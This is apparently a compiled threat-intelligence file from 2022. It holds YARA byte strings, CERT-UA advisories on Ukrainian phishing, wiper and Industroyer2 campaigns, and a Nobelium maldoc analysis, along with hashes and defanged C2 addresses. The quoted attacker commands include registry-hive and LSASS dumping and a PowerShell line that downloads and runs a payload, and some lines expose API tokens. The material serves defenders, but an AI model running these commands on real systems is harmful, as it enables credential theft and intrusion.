+$thumb_dat_content104 = { 50 D2 70 67 67 2B BC F2 54 B8 B8 EA CC 60 67 F2 }
+$thumb_dat_content105 = { 51 D3 71 68 68 2C BD F3 55 B9 B9 EB CD 61 68 F3 }
+$thumb_dat_content106 = { 52 D4 72 69 69 2D BE F4 56 BA BA EC CE 62 69 F4 }
+$thumb_dat_content107 = { 53 D5 73 6A 6A 2E BF F5 57 BB BB ED CF 63 6A F5 }
+$thumb_dat_content108 = { 54 D6 74 6B 6B 2F C0 F6 58 BC BC EE D0 64 6B F6 }
+$thumb_dat_content109 = { 55 D7 75 6C 6C 30 C1 F7 59 BD BD EF D1 65 6C F7 }
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+$thumb_dat_content110 = { 56 D8 76 6D 6D 31 C2 F8 5A BE BE F0 D2 66 6D F8 }
+$thumb_dat_content111 = { 57 D9 77 6E 6E 32 C3 F9 5B BF BF F1 D3 67 6E F9 }
+$thumb_dat_content112 = { 58 DA 78 6F 6F 33 C4 FA 5C C0 C0 F2 D4 68 6F FA }
+$thumb_dat_content113 = { 59 DB 79 70 70 34 C5 FB 5D C1 C1 F3 D5 69 70 FB }
+$thumb_dat_content114 = { 5A DC 7A 71 71 35 C6 FC 5E C2 C2 F4 D6 6A 71 FC }
+$thumb_dat_content115 = { 5B DD 7B 72 72 36 C7 FD 5F C3 C3 F5 D7 6B 72 FD }
+$thumb_dat_content116 = { 5C DE 7C 73 73 37 C8 FE 60 C4 C4 F6 D8 6C 73 FE }
+$thumb_dat_content117 = { 5D DF 7D 74 74 38 C9 00 61 C5 C5 F7 D9 6D 74 00 }
+$thumb_dat_content118 = { 5E E0 7E 75 75 39 CA 01 62 C6 C6 F8 DA 6E 75 01 }
+$thumb_dat_content119 = { 5F E1 7F 76 76 3A CB 02 63 C7 C7 F9 DB 6F 76 02 }
+$thumb_dat_content120 = { 60 E2 80 77 77 3B CC 03 64 C8 C8 FA DC 70 77 03 }
+$thumb_dat_content121 = { 61 E3 81 78 78 3C CD 04 65 C9 C9 FB DD 71 78 04 }
+$thumb_dat_content122 = { 62 E4 82 79 79 3D CE 05 66 CA CA FC DE 72 79 05 }
+$thumb_dat_content123 = { 63 E5 83 7A 7A 3E CF 06 67 CB CB FD DF 73 7A 06 }
+$thumb_dat_content124 = { 64 E6 84 7B 7B 3F D0 07 68 CC CC FE E0 74 7B 07 }
+$thumb_dat_content125 = { 65 E7 85 7C 7C 40 D1 08 69 CD CD 00 E1 75 7C 08 }
+$thumb_dat_content126 = { 66 E8 86 7D 7D 41 D2 09 6A CE CE 01 E2 76 7D 09 }
+$thumb_dat_content127 = { 67 E9 87 7E 7E 42 D3 0A 6B CF CF 02 E3 77 7E 0A }
+$thumb_dat_content128 = { 68 EA 88 7F 7F 43 D4 0B 6C D0 D0 03 E4 78 7F 0B }
+$thumb_dat_content129 = { 69 EB 89 80 80 44 D5 0C 6D D1 D1 04 E5 79 80 0C }
+$thumb_dat_content130 = { 6A EC 8A 81 81 45 D6 0D 6E D2 D2 05 E6 7A 81 0D }
+$thumb_dat_content131 = { 6B ED 8B 82 82 46 D7 0E 6F D3 D3 06 E7 7B 82 0E }
+$thumb_dat_content132 = { 6C EE 8C 83 83 47 D8 0F 70 D4 D4 07 E8 7C 83 0F }
+$thumb_dat_content133 = { 6D EF 8D 84 84 48 D9 10 71 D5 D5 08 E9 7D 84 10 }
+$thumb_dat_content134 = { 6E F0 8E 85 85 49 DA 11 72 D6 D6 09 EA 7E 85 11 }
+$thumb_dat_content135 = { 6F F1 8F 86 86 4A DB 12 73 D7 D7 0A EB 7F 86 12 }
+$thumb_dat_content136 = { 70 F2 90 87 87 4B DC 13 74 D8 D8 0B EC 80 87 13 }
+$thumb_dat_content137 = { 71 F3 91 88 88 4C DD 14 75 D9 D9 0C ED 81 88 14 }
+$thumb_dat_content138 = { 72 F4 92 89 89 4D DE 15 76 DA DA 0D EE 82 89 15 }
+$thumb_dat_content139 = { 73 F5 93 8A 8A 4E DF 16 77 DB DB 0E EF 83 8A 16 }
+$thumb_dat_content140 = { 74 F6 94 8B 8B 4F E0 17 78 DC DC 0F F0 84 8B 17 }
+$thumb_dat_content141 = { 75 F7 95 8C 8C 50 E1 18 79 DD DD 10 F1 85 8C 18 }
+$thumb_dat_content142 = { 76 F8 96 8D 8D 51 E2 19 7A DE DE 11 F2 86 8D 19 }
+$thumb_dat_content143 = { 77 F9 97 8E 8E 52 E3 1A 7B DF DF 12 F3 87 8E 1A }
+$thumb_dat_content144 = { 78 FA 98 8F 8F 53 E4 1B 7C E0 E0 13 F4 88 8F 1B }
+$thumb_dat_content145 = { 79 FB 99 90 90 54 E5 1C 7D E1 E1 14 F5 89 90 1C }
+$thumb_dat_content146 = { 7A FC 9A 91 91 55 E6 1D 7E E2 E2 15 F6 8A 91 1D }
+$thumb_dat_content147 = { 7B FD 9B 92 92 56 E7 1E 7F E3 E3 16 F7 8B 92 1E }
+$thumb_dat_content148 = { 7C FE 9C 93 93 57 E8 1F 80 E4 E4 17 F8 8C 93 1F }
+$thumb_dat_content149 = { 7D 00 9D 94 94 58 E9 20 81 E5 E5 18 F9 8D 94 20 }
+$thumb_dat_content150 = { 7E 01 9E 95 95 59 EA 21 82 E6 E6 19 FA 8E 95 21 }
+$thumb_dat_content151 = { 7F 02 9F 96 96 5A EB 22 83 E7 E7 1A FB 8F 96 22 }
+$thumb_dat_content152 = { 80 03 A0 97 97 5B EC 23 84 E8 E8 1B FC 90 97 23 }
+$thumb_dat_content153 = { 81 04 A1 98 98 5C ED 24 85 E9 E9 1C FD 91 98 24 }
+$thumb_dat_content154 = { 82 05 A2 99 99 5D EE 25 86 EA EA 1D FE 92 99 25 }
+$thumb_dat_content155 = { 83 06 A3 9A 9A 5E EF 26 87 EB EB 1E 00 93 9A 26 }
+$thumb_dat_content156 = { 84 07 A4 9B 9B 5F F0 27 88 EC EC 1F 01 94 9B 27 }
+$thumb_dat_content157 = { 85 08 A5 9C 9C 60 F1 28 89 ED ED 20 02 95 9C 28 }
+$thumb_dat_content158 = { 86 09 A6 9D 9D 61 F2 29 8A EE EE 21 03 96 9D 29 }
+$thumb_dat_content159 = { 87 0A A7 9E 9E 62 F3 2A 8B EF EF 22 04 97 9E 2A }
+$thumb_dat_content160 = { 88 0B A8 9F 9F 63 F4 2B 8C F0 F0 23 05 98 9F 2B }
+$thumb_dat_content161 = { 89 0C A9 A0 A0 64 F5 2C 8D F1 F1 24 06 99 A0 2C }
+$thumb_dat_content162 = { 8A 0D AA A1 A1 65 F6 2D 8E F2 F2 25 07 9A A1 2D }
+$thumb_dat_content163 = { 8B 0E AB A2 A2 66 F7 2E 8F F3 F3 26 08 9B A2 2E }
+$thumb_dat_content164 = { 8C 0F AC A3 A3 67 F8 2F 90 F4 F4 27 09 9C A3 2F }
+$thumb_dat_content165 = { 8D 10 AD A4 A4 68 F9 30 91 F5 F5 28 0A 9D A4 30 }
+$thumb_dat_content166 = { 8E 11 AE A5 A5 69 FA 31 92 F6 F6 29 0B 9E A5 31 }
+$thumb_dat_content167 = { 8F 12 AF A6 A6 6A FB 32 93 F7 F7 2A 0C 9F A6 32 }
+$thumb_dat_content168 = { 90 13 B0 A7 A7 6B FC 33 94 F8 F8 2B 0D A0 A7 33 }
+$thumb_dat_content169 = { 91 14 B1 A8 A8 6C FD 34 95 F9 F9 2C 0E A1 A8 34 }
+$thumb_dat_content170 = { 92 15 B2 A9 A9 6D FE 35 96 FA FA 2D 0F A2 A9 35 }
+$thumb_dat_content171 = { 93 16 B3 AA AA 6E 00 36 97 FB FB 2E 10 A3 AA 36 }
+$thumb_dat_content172 = { 94 17 B4 AB AB 6F 01 37 98 FC FC 2F 11 A4 AB 37 }
+$thumb_dat_content173 = { 95 18 B5 AC AC 70 02 38 99 FD FD 30 12 A5 AC 38 }
+$thumb_dat_content174 = { 96 19 B6 AD AD 71 03 39 9A FE FE 31 13 A6 AD 39 }
+$thumb_dat_content175 = { 97 1A B7 AE AE 72 04 3A 9B 00 00 32 14 A7 AE 3A }
+$thumb_dat_content176 = { 98 1B B8 AF AF 73 05 3B 9C 01 01 33 15 A8 AF 3B }
+$thumb_dat_content177 = { 99 1C B9 B0 B0 74 06 3C 9D 02 02 34 16 A9 B0 3C }
+$thumb_dat_content178 = { 9A 1D BA B1 B1 75 07 3D 9E 03 03 35 17 AA B1 3D }
+$thumb_dat_content179 = { 9B 1E BB B2 B2 76 08 3E 9F 04 04 36 18 AB B2 3E }
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+$thumb_dat_content180 = { 9C 1F BC B3 B3 77 09 3F A0 05 05 37 19 AC B3 3F }
+$thumb_dat_content181 = { 9D 20 BD B4 B4 78 0A 40 A1 06 06 38 1A AD B4 40 }
+$thumb_dat_content182 = { 9E 21 BE B5 B5 79 0B 41 A2 07 07 39 1B AE B5 41 }
+$thumb_dat_content183 = { 9F 22 BF B6 B6 7A 0C 42 A3 08 08 3A 1C AF B6 42 }
+$thumb_dat_content184 = { A0 23 C0 B7 B7 7B 0D 43 A4 09 09 3B 1D B0 B7 43 }
+$thumb_dat_content185 = { A1 24 C1 B8 B8 7C 0E 44 A5 0A 0A 3C 1E B1 B8 44 }
+$thumb_dat_content186 = { A2 25 C2 B9 B9 7D 0F 45 A6 0B 0B 3D 1F B2 B9 45 }
+$thumb_dat_content187 = { A3 26 C3 BA BA 7E 10 46 A7 0C 0C 3E 20 B3 BA 46 }
+$thumb_dat_content188 = { A4 27 C4 BB BB 7F 11 47 A8 0D 0D 3F 21 B4 BB 47 }
+$thumb_dat_content189 = { A5 28 C5 BC BC 80 12 48 A9 0E 0E 40 22 B5 BC 48 }
+$thumb_dat_content190 = { A6 29 C6 BD BD 81 13 49 AA 0F 0F 41 23 B6 BD 49 }
+$thumb_dat_content191 = { A7 2A C7 BE BE 82 14 4A AB 10 10 42 24 B7 BE 4A }
+$thumb_dat_content192 = { A8 2B C8 BF BF 83 15 4B AC 11 11 43 25 B8 BF 4B }
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+$thumb_dat_content244 = { DC 5F FC F3 F3 B7 49 7F E0 45 45 77 59 EC F3 7F }
+$thumb_dat_content245 = { DD 60 FD F4 F4 B8 4A 80 E1 46 46 78 5A ED F4 80 }
+$thumb_dat_content246 = { DE 61 FE F5 F5 B9 4B 81 E2 47 47 79 5B EE F5 81 }
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+$thumb_dat_content248 = { E0 63 01 F7 F7 BB 4D 83 E4 49 49 7B 5D F0 F7 83 }
+$thumb_dat_content249 = { E1 64 02 F8 F8 BC 4E 84 E5 4A 4A 7C 5E F1 F8 84 }
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+TLP:WHITE
+BfV Cyber-Brief
+$thumb_dat_content250 = { E2 65 03 F9 F9 BD 4F 85 E6 4B 4B 7D 5F F2 F9 85 }
+$thumb_dat_content251 = { E3 66 04 FA FA BE 50 86 E7 4C 4C 7E 60 F3 FA 86 }
+$thumb_dat_content252 = { E4 67 05 FB FB BF 51 87 E8 4D 4D 7F 61 F4 FB 87 }
+$thumb_dat_content253 = { E5 68 06 FC FC C0 52 88 E9 4E 4E 80 62 F5 FC 88 }
+$thumb_dat_content254 = { E6 69 07 FD FD C1 53 89 EA 4F 4F 81 63 F6 FD 89 }
+$thumb_dat_content255 = { E7 6A 08 FE FE C2 54 8A EB 50 50 82 64 F7 FE 8A }
+condition:
+any of them and filesize < 5MB
+Bundesamt f
+r Verfassungsschutz - Cyber-Brief Nr. 01/2022
+CERT-UA
+cert.gov.ua/article/38374
+general information
+The Governmental Computer Emergency Response Team of Ukraine CERT-UA received
+information on the distribution of e-mails on the topic "Wage arrears" among government
+agencies of Ukraine. Attached to the letter is the document "Wage arrears.xls", which
+contains legitimate statistics and macros. At the same time, hex-coded data has been added
+to the mentioned document as an attachment. The macro, after activation, will decode the
+data, create the EXE-file "Base-Update.exe" on the computer and execute it.
+This file is a downloader developed using the GoLang programming language. The program
+will download and run another bootloader, which, in turn, will download and run malware
+GraphSteel and GrimPlant on your computer.
+The detected activity is associated with the activity of the group UAC-0056.
+Indicators of compromise
+Files:
+da305627acf63792acb02afaf83d94d1
+c1afb561cd5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff Wage arrears.xls
+06124da5b4d6ef31dbfd7a6094fc52a6
+9e9fa8b3b0a59762b429853a36674608df1fa7d7f7140c8fccd7c1946070995a Base-Update.exe
+(GoDownloader)
+36ff9ec87c458d6d76b2afbd5120dfae
+8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1 java-sdk.exe
+(GoDownloader)
+4a5de4784a6005aa8a19fb0889f1947a
+99a2b79a4231806d4979aa017ff7e8b804d32bfe9dcc0958d403dfe06bdd0532 oracle-java.exe
+(GrimPlant)
+6b413beb61e46241481f556bb5cdb69c
+c83d8b36402639ea3f1ad5d48edc1a22005923aee1c1826afabe27cb3989baa3 microsoftcortana.exe (GraphSteel) (2022-03-20)
+Network:
+hxxp: // 194 [.] 31.98.124: 443 / i
+hxxp: // 194 [.] 31.98.124: 443 / p
+hxxp: // 194 [.] 31.98.124: 443 / m
+ws: // 194 [.] 31.98.124: 443 / c
+194 [.] 31.98.124
+Hosts:
+% TMP% \ Base-Update.exe
+% USERPROFILE% \. Java-sdk \ java-sdk.exe
+% USERPROFILE% \. Java-sdk \ oracle-java.exe
+% USERPROFILE% \. Java-sdk \ microsoft-cortana.exe
+Graphic images
+CERT-UA
+cert.gov.ua/article/39518
+general information
+The Governmental Computer Emergency Response Team of Ukraine CERT-UA has taken
+urgent measures to respond to an information security incident related to a targeted attack
+on Ukraine's energy facility.
+The idea of the attackers involved the decommissioning of several infrastructural elements of
+the object of attack, namely:
+high-voltage electrical substations - using the malicious program INDUSTROYER2;
+moreover, each executable file contained a statically specified set of unique parameters
+for the respective substations (file compilation date: 23.03.2022);
+electronic computers (computers) running the Windows operating system (user
+computers, servers, as well as automated workstations ACS TP) - using the malicious
+program-destructor CADDYWIPER; in this case, the decryption and launch of the latter
+involves the use of the ARGUEPATCH loader and the TAILJUMP silkcode;
+server equipment running Linux operating systems - using malicious destructive scripts
+ORCSHRED, SOLOSHRED, AWFULSHRED;
+active network equipment.
+Centralized distribution and launch of CADDYWIPER is implemented through the Group
+Policy Mechanism (GPO). The POWERGAP PowerShell script was used to add a Group
+Policy that downloads file destructor components from a domain controller and creates a
+scheduled task on a computer.
+The ability to move horizontally between segments of the local area network is provided by
+creating chains of SSH tunnels. IMPACKET is used for remote execution of commands.
+It is known that the victim organization suffered two waves of attacks. The initial
+compromise took place no later than February 2022. The disconnection of electrical
+substations and the decommissioning of the company's infrastructure was scheduled for
+Friday evening, April 8, 2022. At the same time, the implementation of the malicious plan
+has so far been prevented.
+ TLP:AMBER, 
+ Yara-
+ Microsoft 
+ ESET.
+fbe32784c073e341fc57d175a913905c
+43d07f28b7b699f43abd4f695596c15a90d772bfbd6029c8ee7bc5859c2b0861 sc.sh (OrcShred)
+73561d9a331c1d8a334ec48dfd94db99
+bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70bde3e48d04ab99 wobf.sh (AwfulShred)
+97ad7f3ed815c0528b070941be903d07
+87ca2b130a8ec91d0c9c0366b419a0fce3cb6a935523d900918e634564b88028 wsol.sh (SoloShred)
+9ec8468dd4a81b0b35c499b31e67375e
+cda9310715b7a12f47b7c134260d5ff9200c147fc1d05f030e507e57e3582327 {zrada.exe,
+peremoga.exe, vatt.exe} (ArguePatch)
+1938380a81a23b8b1100de8403b583a7
+1724a0a3c9c73f4d8891f988b5035effce8d897ed42336a92e2c9bc7d9ee7f5a pa.pay (TailJump)
+b63b9929b8f214c4e8dcff7956c87277
+fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa caddywiper.bin
+(CaddyWiper)
+3229e8c4150b5e43f836643ec9428865
+7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 108_100.exe (202203-23) (Industroyer2)
+C:\Users\peremoga.exe JRIBDFIMCQAKVBBP C:\Users\pa1.pay
+reg save HKLM\SYSTEM C:\Users\Public\sys.reg /y
+reg save HKLM\SECURITY C:\Users\Public\sec.reg /y
+reg save HKLM\SAM C:\Users\Public\sam.reg /y
+\\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\zrada.exe
+\\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\pa.pay
+C: \ Windows \ System32 \ rundll32.exe C: \ windows \ System32 \ comsvcs.dll
+MiniDump% PID% C: \ Users \ Public \ mem.dmp full
+C: \ Windows \ Temp \ link.ps1
+C: \ Users \ peremoga.exe
+C: \ Users \ pa1.pay
+C: \ Dell \ vatt.exe
+C: \ Dell \ pa.pay
+C: \ Dell \ 108_100.exe
+C: \ tmp \ cdel.exe
+Network:
+91.245.255 [.] 243
+195.230.23 [.] 19
+Graphic images
+CERT-UA
+cert.gov.ua/article/39609
+Updated 04/18/2022
+General information:
+The government team for responding to computer emergencies in Ukraine CERT-UA
+revealed the fact of mass distribution among citizens of Ukraine XLS-documents called
+"Mobilization Register.xls".
+It was found that if you open the document and activate the macro, the macro will download
+and run the executable file. The downloaded EXE file will decrypt and run the GzipLoader
+malware on your computer, which in turn will download, decrypt and run the IcedID
+malware. This malware (also known as BankBot) belongs to the class of "banking Trojans"
+and, among other things, provides theft of authentication data.
+The activity is targeted and is tracked by UAC-0098.
+Compromise indicators:
+Files:
+bdfca142fc1408ab2028019775a95a8a
+8f7e3471c1bb2b264d1b8f298e7b7648dac84ffd8fb2125f3b2566353128e127 Mobilization
+Registry.xls
+9f33887a8e76c246753e71b896a904b3
+65b208943d8cf82af902c39400bdd7a26fdbc94c23f9d4494cf0a2ca51233213 Mobilization
+Registry.xls
+5b4deca6a14eb777fdd882a712006303
+de7bcc556dde40d347b003d891f36c2a733131593ce2b9382f0bd9ade123d54a ggthvjhvjhb.xls
+c52150ad226963a07cfc144d9cea73c7
+ac1d19c5942946f9eee6bc748dee032b97eb3ec3e4bb64fead3e5ac101fb1bc8 spisok.exe (2022-0407)
+afc2d797a39caf4765c0c24e1afb1967
+2e721087daafbfe9b7d5618dfcdaf23e04344f4f72b2c59e175196bada1cc687 gziploader.exe
+(2022-02-21)
+e731e2f1a70b2dd13a4995f9c0106dc4
+789992e24d118d7bd213593aa849449c624eb275e000bc406dab25035b99479b forest32.dat
+986ce06308ca327e5c75877e5e15d6b8
+89594dbae3956eb2bf599e85cd761e89c9d189944b0ddc18cc3973f0fd41c466 init_dll_64.dll
+(2022-04-05)
+e9ad8fae2dd8f9d12e709af20d9aefad
+84f016ece77ddd7d611ffc0cbb2ce24184aeee3a2fdbb9d44d0837bc533ba238 license.dat
+7e6a117ba018be2867329bc5a33e481d
+6734ae02e66924b3f071e7d8ea97d2482a2a2a5bac27b251f20d320b0d04a324 module.bin
+Network:
+rivertimad [.] com
+winuvinnosluk [.] club
+successilin [.] top
+reteredelete [.] top
+naffalno [.] site
+ritionalvalueon [.] top
+oceriesfornot [.] top
+arelyevennot [.] top
+dogiraftig [.] com
+fikasterwer [.] top
+jevejosader [.] top
+ertimadifa [.] com
+rresteraftin [.] com
+ndlestomak [.] top
+168 [.] 100.8.42
+188 [.] 166,154,118
+134 [.] 209.144.87
+hXXp: // 168 [.] 100.8.42 / micro [.] exe
+hXXp: // 168 [.] 100.8.42 / list [.] exe
+hXXp: // rivertimad [.] com /
+hXXp: // 168 [.] 100.8.42 / list [.] exe
+Hosts:
+% APPDATA% \% rand% \% rand% .dll ", DllMain --iydu =" SustainDream \ license.dat "
+% APPDATA% \ SustainDream \ license.dat
+% APPDATA% \ runsx.exe
+% TMP% \ forest32.dat
+Graphic images:
+CERT-UA
+cert.gov.ua/article/39708
+General information:
+The government's team for responding to computer emergencies in Ukraine CERT-UA
+revealed the fact of distribution of e-mails on the topic "Urgent! . If you open the document
+and activate the macro, the macro will load, create and run the "pe.dll" file on disk. This will
+damage your computer with Cobalt Strike Beacon malware.
+With a high level of confidence we can note that the file "pe.dll", as well as the file
+"spisok.exe" from message CERT-UA # 4464, is protected by a cryptocurrency related to the
+group TrickBot.
+This activity is targeted and will be tracked by UAC-0098.
+Compromise indicators:
+Files:
+877f834e8788d05b625ba639b9318512
+ea9dae45f81fe3527c62ad7b84b03d19629014b1a0e346b6aa933e52b0929d8a Military on
+Azovstal.xls
+e28ac0f94df75519a60ecc860475e6b3
+9990fe0d8aac0b4a6040d5979afd822c2212d9aec2b90e5d10c0b15dee8d61b1 pe.dll (2022-04-15)
+a3534cc24a76fa81ce38676027de9533
+39a868e84524669491d6a251264144f0bfaca4f664d3fd10151854c341077262
+shellcode.bin.packed.dll
+eb18207d505a1de30af6c7baafd28e8e
+ff30fdd64297ac41937f9a018753871fee0e888844fbcf7bf92bf5f8d6f57090 notevil.dll (CS
+Beacon)
+Network :
+hxxp: // 138 [.] 68.229.0 / pe.dll
+hxxps: // dezword [.] com / apiv8 / getStatus
+hxxps: // dezword [.] com / apiv8 / updateConfig
+84 [.] 32.188.29 (Provider: @cherryservers [.] Com)
+138 [.] 68.229.0 (Provider: @hostkey [.] Com)
+139 [.] 60,161,225
+139 [.] 60,161.74
+139 [.] 60.161.62
+139 [.] 60.161.99
+139 [.] 60.161.57
+139 [.] 60,161.75
+139 [.] 60.161.24
+139 [.] 60.161.89
+139 [.] 60,161,209
+139 [.] 60,161.85
+139 [.] 60,160.51
+139 [.] 60,161,226
+139 [.] 60,161,216
+139 [.] 60,161,163
+139 [.] 60,160.8
+139 [.] 60.161.32
+139 [.] 60,161.45
+139 [.] 60.161.60
+139 [.] 60,160.17
+dezword [.] com (2022-03-22)
+agreminj [.] com
+akaluij [.] com
+anidoz [.] com
+apeduze [.] com
+apocalypse [.] com
+arentuk [.] com
+axikok [.] com
+azimurs [.] com
+baidencult [.] com
+billiopa [.] com
+blinky [.] com
+blopik [.] com
+borizhog [.] com
+britxec [.] com
+drimzis [.] com
+fluoxi [.] com
+shikjil [.] com
+shormanz [.] com
+verofes [.] com
+Hosts:
+rundll32 C: \ Windows \ Tasks \ pe.dll, DllRegisterServer
+C: \ Windows \ Tasks \ pe.dll
+Recommendations:
+1. Prohibit office programs (EXCEL.EXE, WINWORD.EXE, etc.) from creating dangerous
+processes (for example, rundll32.exe, wscript.exe, etc.).
+2. Carry out additional monitoring of the facts of establishing network connections by the
+rundll32.exe process.
+Graphic images:
+CERT-UA
+cert.gov.ua/article/18419
+general information
+The Governmental Computer Emergency Response Team of Ukraine CERT-UA received
+information from the coordinating entity on the dissemination, allegedly on behalf of the
+National Police of Ukraine, of e-mails with attachments in the form of password-protected
+DOCX documents, such as 
+Crime Report (Belous Alexei Sergeevich) .docx "or" Report of a
+crime.docx ".
+These documents contain built-in objects, the activation of which will create and run a
+Javascript file on your computer, such as "GSU207@POLICE.GOV.UA - Message (2) .js". The
+latter, using powershell, will connect to the Discord service and download and execute an
+EXE file, which will damage the victim's computer with the malicious program OutSteel
+(compilation date: 30.01.2022).
+The activity is associated with the activities of the UAC-0056 group.
+Indicators of compromise
+Files:
+4d01975268c215fc26ed79ebd17ec22d Report on the commission of a crime (Belous Alexei
+Sergeevich) .docx
+12ed130045b2e731bc66c9261c88efaa GSU207@POLICE.GOV.UA - Messages (2) .js
+22c1d43016cb2b8b9e5e5e9895526354 Report of a crime .docx
+0e3c3fe6167485807c4d36a904dfcae1 GSU207@POLICE.GOV.UA - Messages (17) .js
+259f06fcdb971f606d239b3178110981 putty.exe
+ccc3750d9270d1e8c95649d91f94033b putty.dmp.exe (OutSteel)
+5fa2c64ed3e9944030b6fd9f3d3d7102 puttyjejfrwu.exe
+57a10dad336f1a6cb206dca7ddd3fcaf AutoIt.exe (OutSteel)
+ab2a92e0fc5a6f63336e442f34089f16 1406.exe (SaintBot)
+af9a60ea728985f492119ebf713e0716 load4849kd30.exe (SaintBot)
+247165c7d96bf443b6a7360a44b7dcfb f0d.exe
+cd8915c63f3134425aa7c851f5f1e645 f1d.exe
+Network:
+hxxps: //cdn.discordapp [.] com / attachments / 932413459872747544/938291977735266344
+/ putty.exe
+hxxps: //cdn.discordapp [.] com / attachments / 932413459872747544/938317934026170408
+/ puttyjejfrwu.exe
+hxxp: //185.244.41 [.] 109: 8080 / upld /
+hxxp: // eumr [.] site / load74h74830.exe
+185.244.41 [.] 109
+eumr [.] site
+mariaparsons10811 @ gmail [.] com
+Hosts:
+% PUBLIC% \ GoogleChromeUpdate.exe
+% USERPROFILE% \ Documents \ .exe
+% TEMP% \ GSU207@POLICE.GOV.UA - Message (2) .js
+% TEMP% \ rmm.bat
+% TEMP% \ svjhost.exe
+Processes:
+1 powershell.exe "% USERPROFILE% \ Documents \ .exe"
+11 powershell.exe "% USERPROFILE% \ Documents \ .exe"
+3 powershell.exe> <address>: 443
+22 powershell.exe cdn.discordapp [.] Com
+1 wscript.exe powershell.exe "% SYSTEMROOT% \ System32 \ WindowsPowerShell \ v1.0 \
+powershell.exe" [NeT.seRvIcepOiNtmanAgER] :: sECURITyPROToCOL =
+[neT.SEcurITypRotOcoLType] :: Tls12; Irm -uRI ("hxxps: //cdn.discordapp [.] Com /
+attachments / 932413459872747544/938291977735266344 / putty.exe") -outfilE "$ enV:
+PuBLICGoogleChromeUpdate.exe"; sTArt-pRoceSs "$ eNV: pUBLIcGoogleChromeUpdate.exe"
+1 WINWORD.EXE wscript.exe "% SYSTEMROOT% \ System32 \ WScript.exe" "% TEMP% \
+GSU207@POLICE.GOV.UA - Messages (2) .js"
+Additional Information
+We recommend that you block access to services on the Internet that are not necessary and /
+or may create additional risks (such as Discord).
+We draw your attention to the correct configuration of security policies and security
+measures for your computer, namely:
+prohibit MS Office processes (in particular, WINWORD.EXE) from running potentially
+dangerous programs, in this case - wscript.exe (Sysmon EventID: 1);
+monitor network connections (Sysmon EventID: 3.22) of potentially dangerous
+programs (powershell.exe, etc.)
+Graphic images
+Fig. 1 Example of an email and a malicious document
+Nobelium - Israeli Embassy Maldoc
+inquest.net/blog/2022/04/18/nobelium-israeli-embassy-maldoc
+A few days ago, we discovered an interesting sample that we believe is part of the Nobelium campaign, also known as Dark
+Halo. The document was uploaded to the VirusTotal service from Spain. It contains an attractive visual lure representing a
+document from the Israeli embassy. We will look at the threat vector and provide some indicators of attack that can help
+defenders identify or respond.
+File Type
+Office Open XML Document
+Sha 256
+7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b
+Creation Time
+2022-01-10 12:37:00 UTC
+Figure 1: A visual lure that mimics a broken font.
+The visual lure is designed so that the target would interpret that the font is not displayed and activate the embedded content.
+Multiple scans of the file in the Virustotal service did not detect the ill intent. The original name of this file is
+Ambassador_Absense.docx.
+Figure 2: Abysmal detection history
+Figure 3: Total evasion
+When opening the document and activating content, the HTA script is launched, invoking a piece of JS. The script has the
+functionality to decrypt the executable library and run it.
+Figure 4: The JavaScript drops a DLL
+The image above shows how the program decrypts the payload with a normal xor operation with a hardcoded key. The
+executable library is created in the following directory.
+C:\Users\user\AppData\Local\Temp\..\IconCacheService.dll
+File Type
+Dll X64
+Sha 256
+95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f
+Creation Time
+2022-01-17 09:33:38 UTC
+Once launched, the malicious code collects data about the system on which it is launched. And sends the details to a remote
+server.
+Figure 5: Enumeration functions
+After sending all the data, the server waits for a response and for receiving further payload to execute. The program uses
+trello.com to exchange data. This is so done in order to complicate the attribution and belonging of the work to any threat
+actor.
+IOCs
+Carrier Doc:
+7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b
+Stage 2 DLL:
+2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5
+95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f
+8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca
+5f01eb447cb63c40c2d923b15c5ecb5ba47ea72e600797d5d96e228f4cf13f13
+hxxps://api.trello[.]com/1/members/me/boards?
+key=664f145b65b9ea751df4dd21a96601f0&token=39daa5890c85fba874a352473b2fa9a97c7839223422411c22f22970f3b71ecc
+hxxps://api.trello[.]com/1/members/me/boards?
+key=326f330aab6aa067b808d5bd93bd077d&token=abe916f8fe7fa2ddfd3e1bd6edd52fbd80219ed0c289ae21234d496cf449488d
+Detection:
+rule APT_Nobelium_Beatdrop_Feb_2022_1 : nobelium beatdrop downloader
+meta:
+description = "Detect the Beatdrop malware used by Nobelium group"
+author = "Arkbird_SOLG"
+reference = "https://twitter.com/DmitriyMelikov/status/1512515753987223564"
+date = "2022-04-10"
+hash1 = "2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5"
+hash2 = "95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f"
+hash3 = "8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca"
+tlp = "White"
+adversary = "Nobelium"
+strings:
+$s1 = { 48 81 ec 58 04 00 00 31 db 48 8b 3d 3a ea 03 00 89 d8 49 89 ce 49 89 d5 48 8b 0d 1b da 02 00 4c 89
+c6 4c 89 cd f3 aa 45 31 c9 c7 44 24 20 00 00 00 00 45 31 c0 ba 01 00 00 00 48 c7 05 0d ea 03 00 00 00 00 00 48 8d
+0d 2e ea 02 00 ff 15 [2] 04 00 49 89 c4 48 85 c0 0f 84 6d 01 00 00 4c 89 ea 45 31 c9 41 b8 bb 01 00 00 48 89 c1 48
